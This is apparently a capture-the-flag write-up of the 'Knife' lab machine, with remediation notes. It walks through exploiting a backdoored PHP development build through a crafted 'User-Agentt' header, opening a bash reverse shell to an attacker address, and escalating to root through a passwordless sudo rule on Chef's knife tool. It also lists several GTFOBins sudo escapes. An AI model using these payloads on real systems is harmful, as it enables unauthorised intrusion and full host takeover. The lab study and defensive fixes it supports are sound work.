Knife
Summary
I fingerprinted the web server and identified a deliberately backdoored PHP development build running in production. By sending a single crafted HTTP header I executed arbitrary operating-system commands as the application user james — no login required.
I then converted that one-shot command execution into an interactive shell, read the user flag, discovered that james held a passwordless sudo rule for the Chef knife management tool, and used knife's built-in Ruby execution capability to replace the process with a root shell, achieving full control of the host.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"Attack path — how the box was taken
Exact commands 2
Inspect response headers for PHP version and server software.
$ curl -sS -i http://$TARGET/ | grep -i 'x-powered-by\|server'Service/version scan confirming open port 80 and Apache version.
$ nmap -sV -p 80 $TARGETFixReplace the backdoored PHP development build with a stable release immediatelyCritical
Exact commands 1
Confirm RCE: the output of id appears directly in the HTTP reply body.
$ curl -sS -i -H "User-Agentt: zerodiumsystem('id');" http://$TARGET/ | sed -n '1,25p'Exact commands 2
Start listener on my machine first, in a separate terminal.
$ nc -lvnp 4444Trigger reverse shell callback to $ATTACKER_IP $ATTACKER_IP on port 4444 via the backdoor header.
$ curl -sS -H "User-Agentt: zerodiumsystem('bash -c \'bash -i >& /dev/tcp/$ATTACKER_IP/4444 0>&1\'');" http://$TARGET/Exact commands 2
One-shot flag retrieval via backdoor. Flag value: <user.txt>.
$ curl -sS -H "User-Agentt: zerodiumsystem('cat /home/james/user.txt');" http://$TARGET/ | sed -n '1p'Equivalent command from within the interactive james shell.
$ cat /home/james/user.txtExact commands 2
Run from the james shell. Look for a line like '(root) NOPASSWD: /usr/bin/knife'.
$ sudo -lAlternative: check sudo policy via the backdoor without an interactive shell.
$ curl -sS -H "User-Agentt: zerodiumsystem('sudo -l 2>&1');" http://$TARGET/FixRemove passwordless sudo access to the knife binaryHigh
Exact commands 3
Spawns an interactive root bash shell; run as james from the reverse shell.
$ sudo knife exec -E 'exec "/bin/bash"'Verify uid=0 (root).
$ idRoot flag. Value: <root.txt>.
$ cat /root/root.txtAttack patterns used
The transferable techniques behind this compromise.
Sudo Misconfiguration (GTFOBins)Linux · Privilege EscalationT1548.003
What it is
When a low-privileged user is allowed (via sudo -l) to run a specific binary as root, many binaries can be coerced into spawning a root shell or reading root-owned files. GTFOBins catalogs the escape for each binary — e.g. sudo perl -e 'exec "/bin/sh"', sudo vim -c ':!sh', sudo find . -exec /bin/sh \;.
Why it works
Admins grant narrow sudo rights assuming the binary is 'safe', but interpreters, editors, and many utilities have shell-out features. Remediate by avoiding sudo rules on interpreter-class binaries, using NOEXEC, and least-privilege review. Always run sudo -l first on a foothold.
Read more
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.